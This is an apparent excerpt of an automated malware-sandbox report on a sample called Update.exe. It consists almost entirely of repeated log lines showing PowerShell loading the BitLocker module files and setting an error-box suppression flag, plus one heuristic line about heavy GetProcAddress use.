Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\Update.exe Code function: 0_2_00007FF623F776C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError, 0_2_00007FF623F776C0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
